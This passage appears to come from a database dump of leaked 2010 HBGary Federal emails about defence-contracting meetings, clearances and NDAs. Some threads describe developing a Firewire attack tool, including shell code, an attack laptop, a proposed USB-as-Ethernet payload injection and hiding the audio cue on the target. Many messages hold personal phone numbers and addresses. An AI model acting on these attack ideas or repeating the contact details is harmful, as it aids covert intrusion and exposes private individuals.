\r\nSent: Tuesday, April 20, 2010 9:53 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Tomorrow\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey no worries. &nbsp;I understand. &nbsp;Just wanted to\r\nmake sure everything was ok.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTalk to you tomorrow.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe have been getting some really good traction at NSA the\r\nlast few days, more meetings there next week.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 20, 2010, at 9:48 PM, Masterson, Brian (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI am very sorry that I have\r\nnot been very responsive for\r\nthe last few days.&nbsp; Had travel last week and just can&#8217;t get caught\r\nup.&nbsp; Will call you tomorrow to get caught up.\r\n\r\nBrian\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, IO Programs\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6608,'aaron_hbgary_com/6608.html'),(5537,'2010-04-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004019.M333051P14101Q393.eml','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','Re: Checking in','Sure.I am back in town next week. &nbsp;My Monday and Wednesday are wide open at the moment if that works?AaronOn Apr 20, 2010, at 11:03 PM, Lovegrove, John (TASC) wrote:\r\nAaronCan you meet up an aj to talk about ntoc?  I\'d like to have some of our people there meet with you. \r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Clair, Chris (TASC)\r\nCc: Lovegrove, John (TASC)\r\nSent: Tue Apr 20 19:51:39 2010Subject: Re: Checking in\r\n\r\nGreat. &nbsp;Any benefit to getting together next week to discuss approach. &nbsp;My opinion approach drives teaming and I was just wondering about the commercial element. &nbsp;Also have some things to share about the current team and initiatives.John. &nbsp;I would also like to talk about NTOC.I am in Sacramento the rest of the week, if you guys have some time next week.AaronOn Apr 20, 2010, at 3:06 PM, Clair, Chris (TASC) wrote:Hi Aaron,&nbsp;Thanks – we are aware of the RFI, and we responded as well.&nbsp; Meeting with EDS was a little flat.&nbsp; However we did meet with Abraxas and it looks promising.&nbsp;&nbsp;Hope this helps,&nbsp;Chris&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, April 13, 2010 4:02 PMTo:&nbsp;Clair, Chris (TASC)Cc:&nbsp;Lovegrove, John (TASC)Subject:&nbsp;Re: Checking in&nbsp;Great. &nbsp;Are u aware of the psyops rfi for socom? &nbsp;We are submitting capabilities. &nbsp;How did meetimg with EDS go?&nbsp;Aaron &nbsp;From my iPhoneOn Apr 13, 2010, at 3:52 PM, \"Clair, Chris (TASC)\" &lt;CHRISTOPHER.CLAIR@tasc.com&gt; wrote:Hi Aaron,&nbsp;We are meeting with Abraxas and Cipher on Thursday.&nbsp; I have not talked to Lincoln or ManTech.&nbsp; We are still working on those.&nbsp; Thanks for the tip on IMGnetworks (John can you contact them?).&nbsp;I’ll see about getting a new badge but it won’t be until next week.&nbsp;Thanks,&nbsp;Chris&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, April 13, 2010 12:35 PMTo:&nbsp;Clair, Chris (TASC)Subject:&nbsp;Re: Checking in&nbsp;Hey Chris,&nbsp;Checking in again, seeing how things are going. &nbsp;Ted is working on his SF86 and will get it to you shortly.&nbsp;Any chance I can get put in for an indoc for a new badge?&nbsp;Did you guys touch base with Lincoln group? or Mantech? &nbsp;Also might want to check out a company IMGnetworks. &nbsp;They supposedly have cleared folks I think, while their samples off their website aren\'t fabulous, they have some capability with past performance in the area.&nbsp;Aaron&nbsp;&nbsp;On Apr 5, 2010, at 3:06 PM, Clair, Chris (TASC) wrote:&nbsp;Hi Aaron,&nbsp;I got the OK from my boss.&nbsp; Can we get Ted to fill out a new SF86?&nbsp; I can start the other paperwork here.&nbsp;Thanks,&nbsp;Chris&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, April 05, 2010 9:59 AMTo:&nbsp;Clair, Chris (TASC)Subject:&nbsp;Re: Checking in&nbsp;I think him cleared would be very helpful. &nbsp;Let me know how you want to proceed.&nbsp;Aaron&nbsp;On Apr 1, 2010, at 11:58 AM, Clair, Chris (TASC) wrote:Hi Aaron,Is there anything we want to do with Ted\'s clearance?&nbsp; I think I can get the OK from my customer to initiate a new clearance.&nbsp; From what I understand, Ted is very instrumental in the COIN processes.&nbsp; Let me know what you think.Chris-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]Sent: Thu 4/1/2010 10:38 AMTo: Lovegrove, John (TASC)Cc: Clair, Chris (TASC); Garcia, Kathy (TASC)Subject: Re: Checking inI haven\'t I will check.&nbsp;From my iPhoneOn Apr 1, 2010, at 9:37 AM, \"Lovegrove, John (TASC)\" &lt;John.Lovegrove@tasc.com&nbsp;&gt; wrote:&gt; Hey Aaron,&gt;&gt; We are still pulling the team together on COIN, we have a follow up&gt; discussion with SAIC tomorrow. I got a random report that the&gt; competition was cancelled, did you hear anything about this?&gt;&gt;&gt; John Lovegrove&gt; Director&gt; Office: (703) 449-3812&gt; Cell: (571) 294-5154&gt;&gt;&gt;&gt; TASC INTERNAL DISTRIBUTION ONLY&gt; This e-mail, including attachments, is intended for the exclusive&gt; use of&gt; the person or entity to whom it is addressed and may contain&gt; confidential or privileged information. If the reader of this e-mail&gt; is&gt; not the intended recipient or his or her authorized agent, the&gt; reader is&gt; hereby notified that any dissemination, distribution or copying of&gt; this&gt; e-mail is prohibited. If you think that you have received this e-&gt; mail in&gt; error, please advise the sender by reply e-mail of the error and then&gt; delete this e-mail immediately.&gt;&gt; -----Original Message-----&gt; From: Aaron Barr [mailto:aaron@hbgary.com]&gt; Sent: Monday, March 29, 2010 2:01 PM&gt; To: Lovegrove, John (TASC)&gt; Subject: Checking in&gt;&gt; Hey John,&gt;&gt; Just turnednin my DARPA proposal, decpressedfor a few minutes, then&gt; started thinking about all the other stuff going on.&nbsp; What is the&gt; status of your COIN effort and when would you like to set up anyone to&gt; talk about NSA?&gt;&gt; Aaron&gt;&gt; From my iPhone&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2482,'aaron_hbgary_com/2482.html'),(5538,'2010-04-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004019.M564743P14101Q394.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Tomorrow','Hmmm...bummer. &nbsp;I am headed west tomorrow out to Sacramento. &nbsp;Please tell Jim Hi for me.I am back home on Friday. &nbsp;Definitely give me call.AaronOn Apr 20, 2010, at 9:55 PM, Masterson, Brian (Xetron) wrote:Oh yeah.&nbsp; Am in town tomorrow.&nbsp; Up at BWI til 4 then staying in Crystal City for 8AM meeting with Jim Barnett on Thursday then back up to BWI for mtg with NSA at 10.&nbsp; Heading home first thing Friday morning.&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, April 20, 2010 9:53 PMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: Tomorrow&nbsp;Hey no worries. &nbsp;I understand. &nbsp;Just wanted to make sure everything was ok.&nbsp;Talk to you tomorrow.&nbsp;We have been getting some really good traction at NSA the last few days, more meetings there next week.&nbsp;Aaron&nbsp;&nbsp;On Apr 20, 2010, at 9:48 PM, Masterson, Brian (Xetron) wrote:Aaron,I am very sorry that I have not been very responsive&nbsp;for the last few days.&nbsp; Had travel last week and just can’t get caught up.&nbsp; Will call you tomorrow to get caught up.Brian&nbsp;Brian MastersonNorthrop Grumman/XetronChief Technology Officer, IO ProgramsPh: 513-881-3591Cell: 513-706-4848Fax: 513-881-3877&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2167,'aaron_hbgary_com/2167.html'),(5539,'2010-04-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004019.M817353P14101Q395.eml','mark.trynor@hbgary.com,embleton@clearhatconsulting.com,\"Scott Pease\" <scott@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Project B Update','FYI-\r\n\r\nI just sent the email below to Martin gpg\'d with the latest code.\r\n\r\nHi Martin,\r\n\r\nAttached is the latest code from Shawn.  He has everything nearly done.\r\n Tomorrow he is going to update the python script for Win 7 64.  Mark\r\nhas tested end-to-end against all of the OSs and everything works fine\r\n(except Win 7 64 because the python script isn\'t quite finished yet).\r\nHis test environment includes a Linux Desktop (attack system), and a\r\nwindows laptop (target system).  I picked up a second laptop so we could\r\ntake them both on the road with us tomorrow.  They are both Toshiba\r\nSatellites model # a505-s6025, one of only a few laptops I could find\r\nwith firewire ports.\r\n\r\nMark has them configured the same as the desktop, however Linux will not\r\nrecognize the firewire ports (which work fine when running Windows).  He\r\nis continuing to troubleshoot the problem, but there is a real\r\npossibility that he will not be able to get it working by morning.\r\n\r\nCan you please install Shawn\'s latest code (attached) onto the attack\r\nlaptop you used for the previous demo, run a quick test to see if it\r\nworks, and bring it with you on Thursday?\r\n\r\nRegards,\r\nTed\r\n',372,'aaron_hbgary_com/372.html'),(5540,'2010-04-21','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','/aaron@hbgary.com/new/1297004019.M83281P14101Q392.eml','aaron@hbgary.com,\"Miller, Linda I (TASC)\" <LINDA.MILLER@tasc.com>','Re: Checking in','\r\nAaronCan you meet up an aj to talk about ntoc?  I\'d like to have some of our people there meet with you. \r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Clair, Chris (TASC)Cc: Lovegrove, John (TASC)Sent: Tue Apr 20 19:51:39 2010Subject: Re: Checking in\r\nGreat. &nbsp;Any benefit to getting together next week to discuss approach. &nbsp;My opinion approach drives teaming and I was just wondering about the commercial element. &nbsp;Also have some things to share about the current team and initiatives.John. &nbsp;I would also like to talk about NTOC.I am in Sacramento the rest of the week, if you guys have some time next week.AaronOn Apr 20, 2010, at 3:06 PM, Clair, Chris (TASC) wrote:Hi Aaron,&nbsp;Thanks – we are aware of the RFI, and we responded as well.&nbsp; Meeting with EDS was a little flat.&nbsp; However we did meet with Abraxas and it looks promising.&nbsp;&nbsp;Hope this helps,&nbsp;Chris&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, April 13, 2010 4:02 PMTo:&nbsp;Clair, Chris (TASC)Cc:&nbsp;Lovegrove, John (TASC)Subject:&nbsp;Re: Checking in&nbsp;Great. &nbsp;Are u aware of the psyops rfi for socom? &nbsp;We are submitting capabilities. &nbsp;How did meetimg with EDS go?&nbsp;Aaron &nbsp;From my iPhoneOn Apr 13, 2010, at 3:52 PM, \"Clair, Chris (TASC)\" &lt;CHRISTOPHER.CLAIR@tasc.com&gt; wrote:Hi Aaron,&nbsp;We are meeting with Abraxas and Cipher on Thursday.&nbsp; I have not talked to Lincoln or ManTech.&nbsp; We are still working on those.&nbsp; Thanks for the tip on IMGnetworks (John can you contact them?).&nbsp;I’ll see about getting a new badge but it won’t be until next week.&nbsp;Thanks,&nbsp;Chris&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, April 13, 2010 12:35 PMTo:&nbsp;Clair, Chris (TASC)Subject:&nbsp;Re: Checking in&nbsp;Hey Chris,&nbsp;Checking in again, seeing how things are going. &nbsp;Ted is working on his SF86 and will get it to you shortly.&nbsp;Any chance I can get put in for an indoc for a new badge?&nbsp;Did you guys touch base with Lincoln group? or Mantech? &nbsp;Also might want to check out a company IMGnetworks. &nbsp;They supposedly have cleared folks I think, while their samples off their website aren\'t fabulous, they have some capability with past performance in the area.&nbsp;Aaron&nbsp;&nbsp;On Apr 5, 2010, at 3:06 PM, Clair, Chris (TASC) wrote:&nbsp;Hi Aaron,&nbsp;I got the OK from my boss.&nbsp; Can we get Ted to fill out a new SF86?&nbsp; I can start the other paperwork here.&nbsp;Thanks,&nbsp;Chris&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, April 05, 2010 9:59 AMTo:&nbsp;Clair, Chris (TASC)Subject:&nbsp;Re: Checking in&nbsp;I think him cleared would be very helpful. &nbsp;Let me know how you want to proceed.&nbsp;Aaron&nbsp;On Apr 1, 2010, at 11:58 AM, Clair, Chris (TASC) wrote:Hi Aaron,Is there anything we want to do with Ted\'s clearance?&nbsp; I think I can get the OK from my customer to initiate a new clearance.&nbsp; From what I understand, Ted is very instrumental in the COIN processes.&nbsp; Let me know what you think.Chris-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]Sent: Thu 4/1/2010 10:38 AMTo: Lovegrove, John (TASC)Cc: Clair, Chris (TASC); Garcia, Kathy (TASC)Subject: Re: Checking inI haven\'t I will check.&nbsp;From my iPhoneOn Apr 1, 2010, at 9:37 AM, \"Lovegrove, John (TASC)\" &lt;John.Lovegrove@tasc.com&nbsp;&gt; wrote:&gt; Hey Aaron,&gt;&gt; We are still pulling the team together on COIN, we have a follow up&gt; discussion with SAIC tomorrow. I got a random report that the&gt; competition was cancelled, did you hear anything about this?&gt;&gt;&gt; John Lovegrove&gt; Director&gt; Office: (703) 449-3812&gt; Cell: (571) 294-5154&gt;&gt;&gt;&gt; TASC INTERNAL DISTRIBUTION ONLY&gt; This e-mail, including attachments, is intended for the exclusive&gt; use of&gt; the person or entity to whom it is addressed and may contain&gt; confidential or privileged information. If the reader of this e-mail&gt; is&gt; not the intended recipient or his or her authorized agent, the&gt; reader is&gt; hereby notified that any dissemination, distribution or copying of&gt; this&gt; e-mail is prohibited. If you think that you have received this e-&gt; mail in&gt; error, please advise the sender by reply e-mail of the error and then&gt; delete this e-mail immediately.&gt;&gt; -----Original Message-----&gt; From: Aaron Barr [mailto:aaron@hbgary.com]&gt; Sent: Monday, March 29, 2010 2:01 PM&gt; To: Lovegrove, John (TASC)&gt; Subject: Checking in&gt;&gt; Hey John,&gt;&gt; Just turnednin my DARPA proposal, decpressedfor a few minutes, then&gt; started thinking about all the other stuff going on.&nbsp; What is the&gt; status of your COIN effort and when would you like to set up anyone to&gt; talk about NSA?&gt;&gt; Aaron&gt;&gt; From my iPhone&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13928,'aaron_hbgary_com/13928.html'),(5541,'2010-04-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004020.M105047P14101Q396.eml','\"Martin Pillion\" <martin@hbgary.com>,mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Last Firewire Task B delivery','FYI -- Resending Bill\'s email below that explains his expectations for\r\nthe demo/sell-off.  He didn\'t specify a time.  I left him a voicemail\r\nand will ping him again tomorrow.  I\'m guessing we should plan to be\r\nthere around 8-9 am.\r\n\r\nTed\r\n\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Thompson, Bill M. \r\nDate: Fri, Apr 2, 2010 at 12:13 PM\r\nSubject: RE: Last Firewire Task B delivery\r\nTo: Ted Vera \r\nCc: martin@hbgary.com, scott@hbgary.com, mark@hbgary.com, \"Wilson, Ben\r\nN.\" , \"Spiller, John F.\"\r\n, \"Cook, Barry D.\" ,\r\n\"Lotz, Ryan M.\" , \"Thompson, Bill M.\"\r\n\r\n\r\n\r\nHi Ted,\r\n\r\nJust got off the phone with you-- here is a summary of what I believe we\r\ndiscussed:\r\n\r\n1) We will plan for the week of the 19th for formal sell off.\r\nExpectations are for you, Mark and Martin to be here to meet with me (at\r\na minimum), Barry, Ben Wilson and maybe some others.  We will walk\r\nthrough the details of the python scripts as well as how to run the demo\r\nso that GD can run it for our end customer the week after by ourselves.\r\nI will be supplying 4 or 5 laptops with different O/S and\r\nconfigurations.  Please feel free to bring the laptops you guys have\r\nused for testing as well. This activity should take 1 full day or maybe\r\n1 1/2 if there are problems/tweaking that need to be done that night in\r\nyour hotel rooms ;)\r\n\r\n2) If budget allows, please investigate Pegasus and/or any other generic\r\ndevice driver that may or may not exist on a Windows based O/S that will\r\nenable a generic USB device to enumerate itself as a Ethernet capable\r\ndevice recognized by the Windows O/S without the need to install a\r\ncustom device driver.  Once enumerated, it is anticipated we would be\r\nable to send IP traffic to the target laptop.  You see where this is\r\ngoing...injecting a payload via an IP based vulnerability rather than\r\ndoing the keyboard thing.  (Martin can describe our current\r\nkeyboard/mass storage device/Cscript mechanism to you if you like).\r\nThis is a HUGE deal and can lead to another ECP similar to the iPod\r\nthing which is in the customer\'s hands as we speak.\r\n\r\n3) We would like an answer to the \"issue\" of the audio clunking sound on\r\nthe target laptop when using the Firewire mechanism.  Moreover, can\r\nsomething be done to suppress the audio sound and intercept the O/S\r\nmechanism that controls this audio sound.  If not, why not and/or will\r\nthrowing money at the problem (give you guys more money and how much)\r\nperhaps solve it?\r\n\r\nAs always, thanks.\r\n\r\nBill\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Thursday, April 01, 2010 1:36 PM\r\nTo: Thompson, Bill M.\r\nCc: martin@hbgary.com; scott@hbgary.com; mark@hbgary.com\r\nSubject: Re: Last Firewire Task B delivery\r\n\r\nHi Bill,\r\n\r\nWe\'d like to plan for the week of the 19th.  This is due in-part to a\r\nslight oversight on our end.  While reviewing the project earlier this\r\nweek, we found that we had missed the req\'t to port the 32-bit shell\r\ncode that breaks us into user-mode to 64-bit.  We are porting this code\r\nnow, and hope to have it done by this Friday, but may need more time in\r\ncase we run into any snags.\r\n\r\nIf possible, we\'d like to schedule the formal delivery / demo during the\r\nweek of the 19th (later in the week if possible).  To help me understand\r\nyour expecations for the delivery and sell-off, can you please provide a\r\ndraft agenda, including the audience that will be attending?\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\nOn 3/30/10 10:41 AM, Thompson, Bill M. wrote:\r\n> Hey Ted,\r\n>\r\n> I talked with Martin yesterday on some other stuff.  He indicated also\r\n> that he may be the stuckee for the formal delivery and sell off of the\r\n> last Task B Firewire delivery.  Please let me know when you suggest\r\nthat\r\n> happen as our final delivery date is April 26.  As such, it would be\r\n> ideal if this could happen the week of April 19th or sooner.  Please\r\n> advise.\r\n>\r\n> Also, please try and slam through your security paperwork so we can\r\n> submit you for the proposal.\r\n>\r\n> Thanks,\r\n> Bill\r\n>\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',7640,'aaron_hbgary_com/7640.html'),(5542,'2010-04-21','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297004032.M848444P14101Q397.eml','greg@hbgary.com,\"Mancini, Jerry\" <jerry.mancini@fidelissecurity.com>,greg@hbgary.com,\"Mancini, Jerry\" <jerry.mancini@fidelissecurity.com>,','RE: Fidelis XPS / HB Gary Integration Opportunities','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg,\r\n\r\n&nbsp;\r\n\r\nAttached is the updated version\r\nof the integration planning document, which I have broken into different\r\nphases.&nbsp; The first phase is what we discussed as the way to get started;\r\nthe second phase is other opportunities we&#8217;ve discussed that I&#8217;ve\r\njust captured in &#8220;futures.&#8221;&nbsp; I&#8217;ve also included the Fidelis\r\nXPS User Guide v6.0 which covers our metadata export capabilities in Chapter\r\n12: Configure Exports, the Fidelis XPS Guide to Creating Policies which discusses\r\nour different rule components, and the Fidelis XPS Application\r\nProgrammer&#8217;s Interface which documents the API that can be used to\r\nretrieve files from the system for further analysis.&nbsp; Jerry Mancini\r\n(Fidelis VP Engineering) and his team are available to answer any technical\r\nquestions on the interfaces!\r\n\r\n&nbsp;\r\n\r\nDoes it make sense to schedule a\r\ncall in a week or so to follow up on this?&nbsp; The afternoon of April 30th\r\n&nbsp;would work well for me.\r\n\r\n&nbsp;\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Etue, David \r\nSent: Wednesday, March 17, 2010 9:34 PM\r\nTo: \'greg@hbgary.com\'; \'Penny Leavy-Hoglund\'\r\nCc: \'Aaron Barr\'\r\nSubject: RE: Fidelis XPS / HB Gary Integration Opportunities \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nUpdated version with some minor\r\ntypos and your product name (Active Defense) corrected.&nbsp; \r\n\r\n&nbsp;\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Etue, David \r\nSent: Saturday, March 13, 2010 4:42 PM\r\nTo: \'greg@hbgary.com\'; \'Aaron Barr\'; \'Penny Leavy-Hoglund\'\r\nSubject: Fidelis XPS / HB Gary Integration Opportunities \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron, Greg, and Penny,\r\n\r\n\r\nBased on our conversations, I put together the following document on areas I\r\nsee opportunities for product integration to help customers detect and prevent\r\nmalware-based attacks.&nbsp; Your thoughts and feedback are greatly\r\nappreciated.\r\n\r\n&nbsp;\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        Fidelis Security Systems\r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        David\r\n        Etue, CIPP/G\r\n        VP, Products and Markets \r\n        \r\n        \r\n        4416\r\n        East West Highway, Suite 310\r\n        Bethesda, MD 20814 \r\n        \r\n       \r\n       \r\n        \r\n        david.etue@fidelissecurity.com\r\n        http://www.fidelissecurity.com\r\n        \r\n        \r\n        \r\n        \r\n         \r\n          \r\n          tel:\r\n          \r\n          fax: \r\n          mobile: \r\n          \r\n          \r\n          (240) 396-2445 \r\n          (301) 652-7097\r\n          (202) 669-3628 \r\n          \r\n         \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n    Always have my latest info\r\n    \r\n    \r\n    Want a signature like this?\r\n    \r\n   \r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7364,'aaron_hbgary_com/7364.html'),(5543,'2010-04-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004033.M677278P14101Q398.eml','\"Edna Robinson\" <erobinson6@csc.com>','Re: CTSC Non Disclosure Agreement','Hi Edna,Could you resend this document. &nbsp;I am getting a corruption error. &nbsp;It might be on my end, I am on a Mac.Thank you,AaronOn Apr 20, 2010, at 3:13 PM, Edna Robinson wrote:\r\nGood Afternoon Mr. Aron,\r\n\r\nPlease sign an return the attached Non Disclosure\r\nagreement at your earliest convenience so that it may be Fully Executed\r\nprior to your meeting \r\nwith Paul Rooney. \r\n\r\n\r\n\r\nThanks \r\n\r\nEdna Robinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.comEdna\r\nRobinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.com\r\n\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose.&lt;CTSC Non-Disclosure Agreement.doc&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1934,'aaron_hbgary_com/1934.html'),(5544,'2010-04-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004034.M39688P14101Q399.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: REcon info','Thanks Bob.Are you planning to attend the cybersecurity summit may 11th?Do you have any papers on Responder Pro and DDNA?AaronOn Apr 20, 2010, at 5:48 PM, Bob Slapnik wrote:Aaron,&nbsp;Here is some REcon data.&nbsp; The user guide is from Nov so it might be dated.&nbsp; A lot of what I wrote in the SMART section of the DARPA proposal was pulled directly from the attached REcon for Exploitation doc.&nbsp;I think I have some TMC docs.&nbsp; Let me find them and send them to you.&nbsp;Bob&nbsp;&lt;REcon User Guide.docx&gt;&lt;Info from Greg about REcon.txt&gt;&lt;HBGary REcon for Exploitation Assessment.pdf&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4478,'aaron_hbgary_com/4478.html'),(5545,'2010-04-21','\"Edna Robinson\" <erobinson6@csc.com>','/aaron@hbgary.com/new/1297004034.M802710P14101Q400.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: CTSC Non Disclosure Agreement','\r\nGood Morning Aaron,\r\n\r\nLet me know if you can open this one.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nEdna Robinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.com\r\n\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose.\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nTo:\r\nEdna Robinson/USA/CSC@CSC\r\n\r\nDate:\r\n04/21/2010 09:28 AM\r\n\r\nSubject:\r\nRe: CTSC Non Disclosure Agreement\r\n\r\n\r\n\r\n\r\nHi Edna,\r\n\r\nCould you resend this document. &nbsp;I am getting a corruption\r\nerror. &nbsp;It might be on my end, I am on a Mac.\r\n\r\nThank you,\r\nAaron\r\n\r\nOn Apr 20, 2010, at 3:13 PM, Edna Robinson wrote:\r\n\r\n\r\nGood Afternoon Mr. Aron, \r\n\r\nPlease sign an return the attached Non Disclosure agreement at your earliest\r\nconvenience so that it may be Fully Executed prior to your meeting \r\nwith Paul Rooney. \r\n\r\n\r\n\r\nThanks \r\n\r\nEdna Robinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.comEdna\r\nRobinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.com\r\n\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for 